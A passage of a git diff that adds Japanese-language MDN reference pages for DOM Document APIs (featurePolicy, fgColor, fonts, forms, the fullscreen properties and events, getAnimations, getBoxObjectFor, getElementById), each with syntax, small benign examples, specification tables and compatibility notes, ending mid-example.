{{domxref("Policy")}} インターフェイスを返します。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="notranslate">var <var>policy</var> = <var>iframeElement</var>.featurePolicy</pre> + +<h3 id="Value" name="Value">値</h3> + +<p>{{domxref("FeaturePolicy")}} オブジェクトで、文書に適用された機能ポリシーの設定を調べるために使用するうことができます。</p> + +<h2 id="Specification" name="Specification">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("Feature Policy")}}</td> + <td>{{Spec2("Feature Policy")}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.featurePolicy")}}</p> diff --git a/files/ja/web/api/document/fgcolor/index.html b/files/ja/web/api/document/fgcolor/index.html new file mode 100644 index 0000000000..c78804801e --- /dev/null +++ b/files/ja/web/api/document/fgcolor/index.html @@ -0,0 +1,49 @@ +--- +title: Document.fgColor +slug: Web/API/Document/fgColor +tags: + - API + - DOM + - Deprecated + - Document + - HTML DOM + - Reference + - fgColor + - プロパティ +translation_of: Web/API/Document/fgColor +--- +<div>{{ApiRef}}{{Deprecated_header}}</div> + +<p><strong><code>fgColor</code></strong> は、現在の文書の前景色またはテキストの色を取得または設定します。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox">var <var>color</var> = <var>document</var>.fgColor; +<var>document</var>.fgColor = <var>color;</var> +</pre> + +<h3 id="Parameters" name="Parameters">引数</h3> + +<ul> + <li><code>color</code> は文字列で、色を表すキーワード ("red" など) または16進数の値 (<code>"#000000"</code> など) です。</li> +</ul> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush:js">document.fgColor = "white"; +document.bgColor = "darkblue"; +</pre> + +<h2 id="Notes" name="Notes">メモ</h2> + +<p>Mozilla Firefox ではこのプロパティの既定値は黒 (16進数で <code>#000000</code>) です。</p> + +<p><code>document.fgColor</code> は <a href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268">DOM Level 2 HTML で非推奨</a>となっています。推奨される代替手段は CSS プロパティの {{Cssxref("color")}} (たとえば <code>document.body.style.color = "red"</code>) です。</p> + +<p>他の代替手段として <code>document.body.text</code> がありますが、上記の CSS による代替手段が設置されたため <a href="http://www.w3.org/TR/html401/struct/global.html#adef-text">HTML 4.01 で非推奨</a>となっています。</p> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.fgColor")}}</p> diff --git a/files/ja/web/api/document/fonts/index.html b/files/ja/web/api/document/fonts/index.html new file mode 100644 index 0000000000..c0994c97c4 --- /dev/null +++ b/files/ja/web/api/document/fonts/index.html @@ -0,0 +1,66 @@ +--- +title: Document.fonts +slug: Web/API/Document/fonts +tags: + - API + - DOM + - Font Loading API + - FontFace + - FontFaceSet + - Fonts + - フォント +translation_of: Web/API/Document/fonts +--- +<p>{{APIRef("DOM")}}</p> + +<p><span class="seoSummary"><strong><code>fonts</code></strong> は {{domxref("Document")}} インターフェイスのプロパティで、文書の {{domxref("FontFaceSet")}} インターフェイスを返します。</span></p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate">let <var>fontFaceSet</var> = <var>document</var>.fonts;</pre> + +<h3 id="Value" name="Value">値</h3> + +<p>返値は文書の {{domxref("FontFaceSet")}} インターフェイスです。 <code>FontFaceSet</code> インターフェイスは新しいフォントを読み込んだり、以前読み込まれたフォントの状態をチェックしたりするのに有用です。</p> + +<h2 id="Example" name="Example">例</h2> + +<h3 id="Doing_operation_after_all_fonts_are_loaded" name="Doing_operation_after_all_fonts_are_loaded">すべてのフォントが読み込まれた後の操作の実行</h3> + +<pre class="brush: js notranslate">document.fonts.ready.then(function() { + // すべてのフォントが読み込まれた後にのみ実行する必要がある操作を + // ここに記述します。 +}); +</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS3 Font Loading','#FontFaceSet-interface','FontFaceSet')}}</td> + <td>{{Spec2('CSS3 Font Loading')}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<div>{{Compat("api.Document.fonts")}}</div> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("FontFaceSet")}} インターフェイス</li> + <li>{{domxref("FontFace")}}</li> +</ul> diff --git a/files/ja/web/api/document/forms/index.html b/files/ja/web/api/document/forms/index.html new file mode 100644 index 0000000000..47c42a30ea --- /dev/null +++ b/files/ja/web/api/document/forms/index.html @@ -0,0 +1,128 @@ +--- +title: Document.forms +slug: Web/API/Document/forms +tags: + - API + - DOM + - Document + - HTML DOM + - HTML フォーム + - フォーム + - プロパティ + - リファレンス +translation_of: Web/API/Document/forms +--- +<p><span class="seoSummary">{{domxref("Document")}} インターフェイスの <strong><code>forms</code></strong> プロパティは読み取り専用で、文書内に含まれるすべての {{HTMLElement("form")}} を列挙した {{domxref("HTMLCollection")}} を返します。</span></p> + +<div class="note"> +<p><strong>メモ:</strong> 同様に、{{domxref("HTMLFormElement.elements")}} プロパティを使用すると、フォームコンポーネントのユーザー入力要素のリストにアクセスすることができます。</p> +</div> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox"><var>collection</var> = <em>document</em>.forms;</pre> + +<h3 id="Value" name="Value">値</h3> + +<p>文書のすべてのフォームを列挙する {{domxref("HTMLCollection")}} オブジェクトです。コレクションのそれぞれの項目は、単一の <code><form></code> 要素を表す {{domxref("HTMLFormElement")}} です。</p> + +<p>文書にフォームがない場合、返されるコレクションは空で、長さはゼロです。</p> + +<h2 id="Example" name="Example">例</h2> + +<h3 id="Getting_form_information" name="Getting_form_information">フォーム情報の取得</h3> + +<pre class="brush:html"><!DOCTYPE html> +<html lang="en"> + +<head> +<title>document.forms example</title> +</head> + +<body> + +<form id="robby"> + <input type="button" onclick="alert(document.forms[0].id);" value="robby's form" /> +</form> + +<form id="dave"> + <input type="button" onclick="alert(document.forms[1].id);" value="dave's form" /> +</form> + +<form id="paul"> + <input type="button" onclick="alert(document.forms[2].id);" value="paul's form" /> +</form> + +</body> +</html> +</pre> + +<h3 id="Getting_an_element_from_within_a_form" name="Getting_an_element_from_within_a_form">フォーム内要素の取得</h3> + +<pre class="brush: js">var selectForm = document.forms[index]; +var selectFormElement = document.forms[index].elements[index]; +</pre> + +<h3 id="Named_form_access" name="Named_form_access">名前付きフォームへのアクセス</h3> + +<pre class="brush: html"><!DOCTYPE html> +<html lang="en"> +<head> + <title>document.forms example</title> +</head> + +<body> + +<form name="login"> + <input name="email" type="email"> + <input name="password" type="password"> + <button type="submit">Log in</button> +</form> + +<script> + var loginForm = document.forms.login; // Or document.forms['login'] + loginForm.elements.email.placeholder = 'test@example.com'; + loginForm.elements.password.placeholder = 'password'; +</script> +</body> +</html> +</pre> + +<h2 id="Specification" name="Specification">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">コメント</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-document-forms', 'Document.forms')}}</td> + <td>{{ Spec2('HTML WHATWG') }}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('DOM2 HTML', 'html.html#ID-1689064', 'Document.forms')}}</td> + <td>{{ Spec2('DOM2 Events') }}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<p class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力したいのであれば、<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</p> + +<p>{{Compat("api.Document.forms")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/HTML/Forms">HTML forms</a></li> + <li>{{HTMLElement("form")}} および {{domxref("HTMLFormElement")}} インターフェイス</li> +</ul> + +<div>{{APIRef("DOM")}}</div> diff --git a/files/ja/web/api/document/fullscreen/index.html b/files/ja/web/api/document/fullscreen/index.html new file mode 100644 index 0000000000..83389f0fdd --- /dev/null +++ b/files/ja/web/api/document/fullscreen/index.html @@ -0,0 +1,80 @@ +--- +title: Document.fullscreen +slug: Web/API/Document/fullscreen +tags: + - API + - Document + - Fullscreen API + - Read-only + - Reference + - プロパティ +translation_of: Web/API/Document/fullscreen +--- +<div>{{APIRef("Fullscreen API")}}{{Deprecated_Header}}</div> + +<p><span class="seoSummary">廃止された {{domxref("Document")}} インターフェイスの <strong><code>fullscreen</code></strong> プロパティは読み取り専用で、文書が現在全画面モードで表示されているかどうかを報告します。</span></p> + +<p>このプロパティは読み取り専用ですが、変更されても (strict モードでも) 例外を投げません。セッターは何もしないので、無視されます。</p> + +<div class="note"> +<p><strong>メモ:</strong> このプロパティは非推奨であり、文書が全画面モードになっているかどうかは、 {{DOMxRef("Document.fullscreenElement")}} が <code>null</code> ではないことで確認することができます。</p> +</div> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="eval">var <var>isFullScreen</var> = <var>document</var>.fullscreen; +</pre> + +<h3 id="Return_value" name="Return_value">返値</h3> + +<p>真偽値であり、文書が全画面モードで表示されているときに <code>true</code>、それ以外の場合に <code>false</code> になります。</p> + +<h2 id="Example" name="Example">例</h2> + +<p>このシンプルな関数は、現在全画面モードがアクティブになっているかどうかを、廃止された <code>fullscreen</code> プロパティを使用して報告しています。</p> + +<pre class="brush: js">function isDocumentInFullScreenMode() { + return document.fullscreen; +} +</pre> + +<p>一方、次の例では、現在の <code>fullscreenElement</code> プロパティを使用して同じことを確認しています。</p> + +<pre class="brush: js">function isDocumentInFullScreenMode() { + return document.fullscreenElement !== null; +}</pre> + +<p><code>fullscreenElement</code> が <code>null</code> でなければ、これは <code>true</code> を返し、全画面モードで表示されていることを示します。</p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("Fullscreen", "#dom-document-fullscreen", "Document.fullscreen")}}</td> + <td>{{Spec2("Fullscreen")}}</td> + <td>初回定義 (廃止プロパティとして)</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<p class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</p> + +<p>{{Compat("api.Document.fullscreen")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Web/API/Fullscreen_API">Fullscreen API</a></li> + <li><a href="/ja/docs/Web/API/Fullscreen_API/Guide">Fullscreen API ガイド</a></li> + <li>{{DOMxRef("Document.fullscreenEnabled")}}</li> +</ul> diff --git a/files/ja/web/api/document/fullscreenchange_event/index.html b/files/ja/web/api/document/fullscreenchange_event/index.html new file mode 100644 index 0000000000..308d99b941 --- /dev/null +++ b/files/ja/web/api/document/fullscreenchange_event/index.html @@ -0,0 +1,90 @@ +--- +title: 'Document: fullscreenchange イベント' +slug: Web/API/Document/fullscreenchange_event +tags: + - API + - Fullscreen API + - Reference + - events + - fullscreen + - fullscreenchange + - イベント + - 全画面モード +translation_of: Web/API/Document/fullscreenchange_event +--- +<div>{{APIRef}}</div> + +<p><span class="seoSummary"><code>fullscreenchange</code> イベントは、ブラウザーが全画面モードに移行したり終了したりした直後に発生します。</span></p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル</th> + <td>不可</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("Event")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{domxref("Document.onfullscreenchange", "onfullscreenchange")}}</td> + </tr> + </tbody> +</table> + +<p>このイベントは、全画面モードに移行または終了しようとしている <code>Element</code> に送られ、それから <code>Document</code> までバブリングします。</p> + +<p<code>Element が全画面モードに移行しようとしているのか、終了しようとしているのかを判別するには、 {{domxref("DocumentOrShadowRoot/fullscreenElement", "DocumentOrShadowRoot.fullscreenElement")}} の値をチェックしてください。この値が <code>null</code> ならば、要素が全画面モードを終了しようとしており、そうでなければ全画面モードに移行しようとしています。 + +<h2 id="Examples" name="Examples">例</h2> + +<p>この例では、 <code>fullscreenchange</code> イベントのハンドラーが {{domxref("Document")}} に追加されます。</p> + +<pre class="brush: js notranslate">document.addEventListener('fullscreenchange', (event) => { + // document.fullscreenElement は、全画面モードにある要素があれば + // それを指します。要素がなければ、このプロパティの値は null に + // あります。 + if (document.fullscreenElement) { + console.log(`Element: ${document.fullscreenElement.id} entered full-screen mode.`); + } else { + console.log('Leaving full-screen mode.'); + } +}); +</pre> + +<p>その他の例については <a href="/ja/docs/Web/API/Element/fullscreenchange_event">Element: fullscreenchange イベント</a>を参照してください。</p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("Fullscreen")}}</td> + <td>{{Spec2("Fullscreen")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<p>{{Compat("api.Document.fullscreenchange_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("Document/fullscreenerror_event", "fullscreenerror")}}</li> + <li>{{domxref("Element")}}: {{domxref("Element/fullscreenchange_event", "fullscreenchange")}} イベント</li> + <li><a href="/ja/docs/Web/API/Fullscreen_API">Fullscreen API</a></li> + <li><a href="/ja/docs/Web/API/Fullscreen_API/Guide">Fullscreen API のガイド</a></li> +</ul> diff --git a/files/ja/web/api/document/fullscreenenabled/index.html b/files/ja/web/api/document/fullscreenenabled/index.html new file mode 100644 index 0000000000..56e5358fae --- /dev/null +++ b/files/ja/web/api/document/fullscreenenabled/index.html @@ -0,0 +1,79 @@ +--- +title: Document.fullscreenEnabled +slug: Web/API/Document/fullscreenEnabled +tags: + - API + - Document + - Fullscreen API + - Property + - Read-only + - Reference + - fullscreenEnabled + - プロパティ + - 全画面 + - 画面 +translation_of: Web/API/Document/fullscreenEnabled +--- +<div>{{APIRef("Fullscreen API")}}</div> + +<p><span class="seoSummary">{{domxref("Document")}} インターフェイスの <code><strong>fullscreenEnabled</strong></code> プロパティは読み取り専用で、全画面モードが使用できるかを示します。</span>全画面モードは文書内にウィンドウ化されたプラグインを含まないページ、および文書内のすべての {{HTMLElement("iframe")}} 要素が {{HTMLAttrXRef("allowfullscreen", "iframe")}} 属性を持つページに限り使用することができます。</p> + +<p>このプロパティは読み取り専用ですが、変更されても (strict モードでも) 例外を投げません。セッターは何もしないので、無視されます。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox">var <var>isFullscreenAvailable</var> = <var>document</var>.fullscreenEnabled; +</pre> + +<h3 id="Value" name="Value">値</h3> + +<p>{{domxref("Boolean")}} 値であり、文書や要素が {{domxref("Element.requestFullscreen()")}} を呼び出すことで全画面モードに移行できるのであれば <code>true</code> です。全画面モードが利用できないのであれば、値は <code>false</code> になります。</p> + +<h2 id="Example" name="Example">例</h2> + +<p>この例では、 {{htmlElement("video")}} 要素に全画面モードへの移行を試みる前に <code>fullscreenEnabled</code> の値をチェックし、利用できない場合には移行を試みないようにします。</p> + +<pre class="brush: js">function requestFullScreen() { + if (document.fullscreenEnabled) { + videoElement.requestFullScreen(); + } else { + console.log('現在ブラウザーは全画面モードを使用することができません'); + } +}</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("Fullscreen", "#dom-document-fullscreenenabled", "Document.fullscreenEnabled")}}</td> + <td>{{Spec2("Fullscreen")}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.fullscreenEnabled")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Web/API/Fullscreen_API">Fullscreen API</a></li> + <li><a href="/ja/docs/Web/API/Fullscreen_API/Guide">Fullscreen API ガイド</a></li> + <li>{{domxref("Element.requestFullscreen()")}}</li> + <li>{{domxref("Document.exitFullscreen()")}}</li> + <li>{{domxref("Document.fullscreenElement")}}</li> + <li>{{cssxref(":fullscreen")}} および {{cssxref("::backdrop")}}</li> + <li>{{HTMLElement("iframe")}} 要素の {{HTMLAttrXRef("allowfullscreen", "iframe")}} 属性</li> +</ul> diff --git a/files/ja/web/api/document/fullscreenerror_event/index.html b/files/ja/web/api/document/fullscreenerror_event/index.html new file mode 100644 index 0000000000..7459024c5d --- /dev/null +++ b/files/ja/web/api/document/fullscreenerror_event/index.html @@ -0,0 +1,81 @@ +--- +title: 'Document: fullscreenerror イベント' +slug: Web/API/Document/fullscreenerror_event +tags: + - API + - Error + - Event + - Fullscreen API + - Reference + - fullscreen + - fullscreenerror +translation_of: Web/API/Document/fullscreenerror_event +--- +<p>{{APIRef}}</p> + +<p><span class="seoSummary"><code>fullscreenerror</code> イベントは、ブラウザーが全画面モードに移行できないときに発生します。</span></p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル</th> + <td>不可</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("Event")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{domxref("Document.onfullscreenerror", "onfullscreenerror")}}</td> + </tr> + </tbody> +</table> + +<p>{{domxref("Document/fullscreenchange_event", "fullscreenchange")}} イベントと同様、二つの <code>fullscreenerror</code> イベントが発行されます。一つ目はモード切替に失敗した {{domxref("Element")}} へ送られ、二つ目はその要素を所有する {{domxref("Document")}} へ送られます。</p> + +<p>全画面モードへの切り替えに失敗する理由については、<a href="/ja/docs/Web/API/Fullscreen_API/Guide">全画面 API のガイド</a>を参照してください。</p> + +<h2 id="Examples" name="Examples">例</h2> + +<pre class="brush: js notranslate">const requestor = document.querySelector('div'); + +document.addEventListener('fullscreenerror', (event) => { + console.error('an error occurred changing into fullscreen'); + console.log(event); +}); + +requestor.requestFullscreen();</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("Fullscreen")}}</td> + <td>{{Spec2("Fullscreen")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<p>{{Compat("api.Document.fullscreenerror_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("Document/fullscreenchange_event", "fullscreenchange")}}</li> + <li><a href="/ja/docs/Web/API/Fullscreen_API">Fullscreen API</a></li> + <li><a href="/ja/docs/Web/API/Fullscreen_API/Guide">Fullscreen API のガイド</a></li> +</ul> diff --git a/files/ja/web/api/document/getanimations/index.html b/files/ja/web/api/document/getanimations/index.html new file mode 100644 index 0000000000..eeb45f404e --- /dev/null +++ b/files/ja/web/api/document/getanimations/index.html @@ -0,0 +1,81 @@ +--- +title: Document.getAnimations() +slug: Web/API/Document/getAnimations +tags: + - API + - Animation + - CSS + - CSS Animations + - CSS Transitions + - Document + - Experimental + - Method + - Reference + - Transitions + - Web Animations + - getAnimations + - waapi + - web animations api +translation_of: Web/API/DocumentOrShadowRoot/getAnimations +--- +<p>{{ SeeCompatTable() }}{{APIRef("Web Animations")}}</p> + +<p><code>getAnimations()</code> メソッドは {{domxref("Document")}} インターフェイスのメソッドで、この文書の配下にあるターゲット要素にあるすべての {{domxref("Animation")}} オブジェクトの配列を返します。この配列には <a href="/ja/docs/Web/CSS/CSS_Animations">CSS アニメーション</a>, <a href="/ja/docs/Web/CSS/CSS_Transitions">CSS トランジション</a>, <a href="/ja/docs/Web/API/Web_Animations_API">ウェブアニメーション</a> が含まれます。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate">var <var>allAnimations</var> = <var>Document</var>.getAnimations(); +</pre> + +<h3 id="Parameters" name="Parameters">引数</h3> + +<p>なし。</p> + +<h3 id="Return_value" name="Return_value">返値</h3> + +<p>{{domxref("Animation")}} オブジェクトの {{jsxref("Array")}} で、それぞれの要素は呼び出された {{domxref("Document")}} の配下にある要素に現在関連付けられているアニメーション1つを表します。</p> + +<h2 id="Examples" name="Examples">例</h2> + +<p>次のコードスニペットは、ページ上のすべてのアニメーションの {{domxref("Animation.playbackRate")}} を半分にすることで速度をゆっくりにします。</p> + +<pre class="brush: js notranslate">document.getAnimations().forEach( + function (animation) { + animation.playbackRate *= .5; + } +);</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Web Animations', '#dom-documentorshadowroot-getanimations', 'document.getAnimations()' )}}</td> + <td>{{Spec2('Web Animations')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.getAnimations")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Web/API/Web_Animations_API">ウェブアニメーション API</a></li> + <li><a href="/ja/docs/Web/CSS/CSS_Animations">CSS アニメーション</a></li> + <li><a href="/ja/docs/Web/CSS/CSS_Transitions">CSS トランジション</a></li> + <li>{{domxref("Element.getAnimations()")}} - 単一の要素 ({{domxref("Element")}}) とその子孫にあるアニメーションのみを読み取る</li> + <li>{{domxref("Animation")}}</li> +</ul> diff --git a/files/ja/web/api/document/getboxobjectfor/index.html b/files/ja/web/api/document/getboxobjectfor/index.html new file mode 100644 index 0000000000..523be69a52 --- /dev/null +++ b/files/ja/web/api/document/getboxobjectfor/index.html @@ -0,0 +1,49 @@ +--- +title: document.getBoxObjectFor +slug: Web/API/Document/getBoxObjectFor +tags: + - DOM + - Document + - Method + - Obsolete + - Reference + - メソッド +translation_of: Web/API/Document/getBoxObjectFor +--- +<div>{{ApiRef("DOM")}} {{obsolete_header}}</div> + +<p>指定要素の <code>boxObject</code> (x 座標 / y 座標 / 幅 / 高さ) を返します。</p> + +<div class="note"><strong>メモ:</strong> このメソッドは廃止済です。代わりに {{domxref("element.getBoundingClientRect()")}} メソッドを使用してください。</div> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox"><var>boxObject</var> = <var>document</var>.getBoxObjectFor(<var>element</var>); +</pre> + +<ul> + <li><var>boxObject</var> は {{interface("nsIBoxObject")}} です。</li> + <li><var>element</var> は {{domxref("element","DOMElement")}} です。</li> +</ul> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush:js">var myDiv = document.getElementById("myDiv"), + boxObj = document.getBoxObjectFor (myDiv); + +alert ( + "x:" + boxObj.x + + ", y:" + boxObj.y + + ", Width:" + boxObj.width + + ", Height:" + boxObj.height +);</pre> + +<h2 id="Notes" name="Notes">メモ</h2> + +<p>このメソッドは <a href="http://mxr.mozilla.org/mozilla-central/source/dom/interfaces/xul/nsIDOMXULDocument.idl">nsIXULDocument.idl</a> で定められました。</p> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.getBoxObjectFor")}}</p> diff --git a/files/ja/web/api/document/getelementbyid/index.html b/files/ja/web/api/document/getelementbyid/index.html new file mode 100644 index 0000000000..3b41a7b1fa --- /dev/null +++ b/files/ja/web/api/document/getelementbyid/index.html @@ -0,0 +1,151 @@ +--- +title: Document.getElementById() +slug: Web/API/Document/getElementById +tags: + - API + - DOM + - Document + - Elements + - Method + - Reference + - Web + - getElementById + - id +translation_of: Web/API/Document/getElementById +--- +<div>{{ ApiRef("DOM") }}</div> + +<p>{{domxref("Document")}} の <code><strong>getElementById()</strong></code> メソッドは、 {{domxref("Element.id", "id")}} プロパティが指定された文字列に一致する要素を表す {{domxref("Element")}} オブジェクトを返します。要素の ID は指定されていれば固有であることが求められているため、特定の要素にすばやくアクセスするには便利な方法です。</p> + +<p>ID を持たない要素にアクセスする必要がある場合は、 {{domxref("Document.querySelector", "querySelector()")}} で何らかの{{Glossary("CSS selector", "セレクター")}}を使用して要素を検索することができます。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="eval notranslate">var <var>element</var> = <var>document</var>.getElementById(<var>id</var>); +</pre> + +<h3 id="Parameters" name="Parameters">引数</h3> + +<dl> + <dt><code><var>id</var></code></dt> + <dd>探す要素の ID です。 ID は大文字と小文字の区別がある文字列で、文書内で固有です。指定された ID の要素は一つしかありません。</dd> +</dl> + +<h3 id="Return_value" name="Return_value">返値</h3> + +<p>指定された ID に一致する DOM 要素オブジェクトを記述した {{domxref("Element")}} オブジェクト、または文書内に一致する要素がなければ <code>null</code> です。</p> + +<h2 id="Example" name="Example">例</h2> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html notranslate"><html> +<head> + <title>getElementById example</title> +</head> +<body> + <p id="para">Some text here</p> + <button onclick="changeColor('blue');">blue</button> + <button onclick="changeColor('red');">red</button> +</body> +</html></pre> + +<h3 id="JavaScript">JavaScript</h3> + +<pre class="brush: js notranslate">function changeColor(newColor) { + var elem = document.getElementById('para'); + elem.style.color = newColor; +}</pre> + +<h3 id="Result" name="Result">結果</h3> + +<p>{{ EmbedLiveSample('Example', 250, 100) }}</p> + +<h2 id="Usage_notes" name="Usage_notes">使用上のメモ</h2> + +<p>コードが機能するためには、メソッドの名前の中の <code>"Id"</code> は、大文字と小文字を正しく表記し<em>なければなりません</em>。 <code>getElementByID()</code> は自然に見えますが、妥当では<em>なく</em>動作しません。</p> + +<p>{{domxref("Document.querySelector()")}} や {{domxref("Document.querySelectorAll()")}} などの他の要素検索メソッドとは異なり、 <code>getElementById()</code> はグローバルの <code>document</code> オブジェクトに対してのみ利用可能であり、 DOM のすべての要素オブジェクトのメソッドとしては利用<em>できません</em>。 ID の値は文書全体を通して固有でなければならないため、機能の「ローカル」バージョンは必要ないのです。</p> + +<h2 id="Example_2" name="Example_2">例</h2> + +<pre class="notranslate"><!doctype html> +<html> +<head> + <meta charset="UTF-8"> + <title>Document</title> +</head> +<body> + <div id="parent-id"> + <p>hello word1</p> + <p id="test1">hello word2</p> + <p>hello word3</p> + <p>hello word4</p> + </div> + <script> + var parentDOM = document.getElementById('parent-id'); + var test1 = parentDOM.getElementById('test1'); + //throw error + //Uncaught TypeError: parentDOM.getElementById is not a function + </script> +</body> +</html></pre> + +<p>もし指定された <code>id</code> を持つ要素がなければ、この関数は <code>null</code> を返します。なお、 <code>id</code> 引数は大文字小文字の区別があるため、 <code>document.getElementById("<strong>M</strong>ain")</code> は <code><div id="<strong>m</strong>ain"></code> 要素の代わりに <code>null</code> を返し、これは "M" と "m" がこのメソッドの目的では区別されるためです。</p> + +<p><strong>文書内にない要素</strong> は <code>getElementById()</code> で検索されません。要素を作成し ID を割り当てたとき、 <code>getElementById()</code> でアクセスする前に {{domxref("Node.insertBefore()")}} またはそのたぐいのメソッドで、要素を文書ツリーに挿入しておく必要があります。</p> + +<pre class="brush: js notranslate">var element = document.createElement('div'); +element.id = 